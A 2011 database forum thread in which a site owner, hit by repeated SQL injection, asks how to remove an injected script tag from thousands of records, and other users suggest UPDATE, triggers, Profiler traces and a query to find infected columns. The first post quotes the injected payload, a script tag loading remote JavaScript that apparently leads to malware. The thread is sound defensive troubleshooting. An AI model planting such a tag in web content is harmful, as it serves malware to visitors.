| Author |
Topic |
|
parrot
Posting Yak Master
132 Posts |
 Posted - 2011-10-20 : 01:27:23
|
| My SQL database has been infected with a malicious script which is in embedded in certain fields in several tables for over a thousand records. I am desperately trying to delete the script since it is shutting down my website. I use the following code to try to eliminate the script:SELECT REPLACE(Text, '</title><script src=http://xxxx.com/xxxx.js ></script>', ' ') AS TextFROM PhotosCemEven though it shows the script being removed from the table, when I close the table and re-open it, the script is still there. I know I can probably write a program in C# to remove the script but I am trying to do it in SQL Server Management Studio in an SQL query. Can anyone tell me what is missing in my code above for removing the script from my records using an SQL Server Management Studio query? Do I need an UPDATE function? I will have to shut down my website until I can figure this out.Dave |
|
|
Kristen
Test
22859 Posts |
Posted - 2011-10-20 : 03:25:00
|
| You can use UPDATE to remove the text. But before you put the site live again you need to fix the application to prevent another SQL injection attack, and whether any other injection attack has harvested data from your site - such as UserID's / Email address / passwords. |
 |
|
|
Lumbago
Norsk Yak Master
3271 Posts |
|
|
webfred
Master Smack Fu Yak Hacker
8781 Posts |
Posted - 2011-10-20 : 07:54:47
|
What will happen if I click on the posted link?I do not dare to do it...
No, you're never too old to Yak'n'Roll if you're too young to die. |
|
|
|
webfred
Master Smack Fu Yak Hacker
8781 Posts |
Posted - 2011-10-20 : 07:55:37
|
What I wanted to say is: maybe we have to remove the link!?
No, you're never too old to Yak'n'Roll if you're too young to die. |
|
|
|
Lumbago
Norsk Yak Master
3271 Posts |
Posted - 2011-10-20 : 08:07:04
|
| Oh...! I didn't think of that...- LumbagoMy blog-> http://thefirstsql.com/2011/07/08/how-to-find-gaps-in-identity-columns-at-the-speed-of-light/ |
|
|
|
parrot
Posting Yak Master
132 Posts |
Posted - 2011-10-20 : 09:50:39
|
| Thanks to everyone for their reply. I was in a panic last night trying to figure out the fastest way to get rid of the malicious code. I have already changed my passwords and have found perhaps one leak in my code for injection. Practically all of the data submitted by users is updated using parameterized fields. I had over a thousand records in 6 tables infected with this script at the end of a given field, too much to correct manually. My website is shut down until I can figure this out. Do you think this brazen attack is the result of sql injection or through someone who has my password?PS: I changed the name of the script so someone will not go to the porno site it leads to if they accidentally click on it. |
|
|
|
parrot
Posting Yak Master
132 Posts |
Posted - 2011-10-20 : 10:55:36
|
| As a safeguard against SQL injection you might not want to use the field names that have the words 'Text', 'Name', or 'Description' in them. Except for one table, every field name that had these titles or names were concatenated with the malicious script. This leads me to believe the source of the attack was by sql injection rather than by breaching my password. I added the UPDATE function to my SQL query and was able to eliminate the malicious code in all of my tables. Thanks to everyone who replied. |
|
|
|
Kristen
Test
22859 Posts |
Posted - 2011-10-21 : 04:07:09
|
If you are not sure if you have fixed the problem you might want to put a TRIGGER on the table(s) that stores original value into an "archive" table on Update or Delete, with a date/time, then if it happens again you could a) know when (which might help you find Why) and b) easily put-back the original record. Next time they might not just insert a JS Include file.quote:
Originally posted by webfred
What will happen if I click on the posted link?I do not dare to do it...
It redirects to some innocuous URL, and then to a Russian one (Forgotten what, porn or somesuch I think), and then installs MalWare with one of those "You have a virus, click here to fix it" type deals.quote:
Originally posted by Lumbago
Oh...! I didn't think of that...
You might want to obfuscate the link in your quote? |
|
|
|
Lumbago
Norsk Yak Master
3271 Posts |
Posted - 2011-10-21 : 04:20:41
|
quote:
Originally posted by Kristen
You might want to obfuscate the link in your quote?
I was obviously on the slow side yesterday...I was under the impression that parrot had changed the url *before* posting here in the first place.- LumbagoMy blog-> http://thefirstsql.com/2011/07/08/how-to-find-gaps-in-identity-columns-at-the-speed-of-light/ |
|
|
|
Kristen
Test
22859 Posts |
Posted - 2011-10-21 : 04:50:30
|
| Hehehe ... I googled it, rather than clicking it. Quite hard to find useful info in Google for that - 'coz you get every infected site listed too! |
|
|
|
parrot
Posting Yak Master
132 Posts |
Posted - 2011-10-21 : 13:42:52
|
I have at least 30 places in my web programs where updating can take place. It would be a monumental task to put in triggers everywhere updating takes place. I checked to make sure that all input from viewers is updated as parameter fields as show below:myCommand.Parameters.Add("@UserID", OleDbType.VarChar, userid.Length); myCommand.Parameters["@UserID"].Value = userid;Does this help prevent malicious code from entering an sql stream? Other than filtering out every possible malicious code such as "; <script>, --, ALTER, etc., I don't know what else to do. I am running this website on a volunteer basis for my community and if I get hacked again I am seriously considering dropping the web site. Life's too short to be worrying about all the jerks in the world that can harm you. I don't know if this was a deliberate attack or a random one. I don't understand how thousands of my database records can be changed that easily.quote:
Originally posted by Kristen
If you are not sure if you have fixed the problem you might want to put a TRIGGER on the table(s) that stores original value into an "archive" table on Update or Delete, with a date/time, then if it happens again you could a) know when (which might help you find Why) and b) easily put-back the original record. Next time they might not just insert a JS Include file.quote:
Originally posted by webfred
What will happen if I click on the posted link?I do not dare to do it...
It redirects to some innocuous URL, and then to a Russian one (Forgotten what, porn or somesuch I think), and then installs MalWare with one of those "You have a virus, click here to fix it" type deals.quote:
Originally posted by Lumbago
Oh...! I didn't think of that...
You might want to obfuscate the link in your quote?
|
|
|
|
parrot
Posting Yak Master
132 Posts |
Posted - 2011-10-22 : 00:21:23
|
| My SQL database has been infected again with the same trojan script after I spent the last 3 days removing the script and making changes to my programs to make sure there weren't any leaks. I brought the website up 2 hours ago and already my database is infected. Thousands of records in numerous tables are corrupted. How can so many records and tables be changed that easily? I have shut the website down again. It is possible for this many changes be made to my database in a matter of minutes? Can there be another source for this malicious invasion other than sql injection? I am at a loss and am ready to throw in the towel. |
|
|
|
Kristen
Test
22859 Posts |
Posted - 2011-10-22 : 06:48:42
|
| Which is why I said to put TRIGGERs on the tables. But you said that was too much work ... |
|
|
|
parrot
Posting Yak Master
132 Posts |
Posted - 2011-10-22 : 18:10:00
|
I guess I really need to know what you mean by triggers. Can you give me a short example? I don't know of any TRIGGER command in SQL.quote:
Originally posted by Kristen
Which is why I said to put TRIGGERs on the tables. But you said that was too much work ...
|
|
|
|
Kristen
Test
22859 Posts |
Posted - 2011-10-22 : 18:37:18
|
| http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=170215 |
|
|
|
Lumbago
Norsk Yak Master
3271 Posts |
Posted - 2011-10-24 : 03:08:27
|
| Throwing in the towel is NOT an option! SQL injection can be defeated, you just need to use the right tools. Are you aware of SQL Server Profiler? It's a tool that taps in to all the sql queries that are executed against your database. One of the key steps is to figure out where the hole in your system is and that can be very difficult. By using Profiler you can figure out the exact sql query that is executed and hopefully by knowing that you'll be able to figure out more details. Set up a Profiler template using this tutorial http://thefirstsql.com/2011/01/07/sql-server-profiler-a-tutorial/ and the start a trace with a filter TextData LIKE "%<script src%.You can also make it easier for yourself to identify which tables have been infected. Something like this might help you along (make sure to remove the last UNION ALL before executing the produced sql):select 'select colname = ''' + TABLE_SCHEMA + '.' + TABLE_NAME + '.' + COLUMN_NAME + ''', Counter = COUNT(*) FROM ' + TABLE_SCHEMA + '.' + TABLE_NAME + ' where ' + COLUMN_NAME + ' like ''%<script src%'' UNION ALL' from information_schema.COLUMNS where DATA_TYPE in ('varchar', 'nvarchar')- LumbagoMy blog-> http://thefirstsql.com/2011/07/08/how-to-find-gaps-in-identity-columns-at-the-speed-of-light/ |
|
|
|
|
Eliminating malicious script from database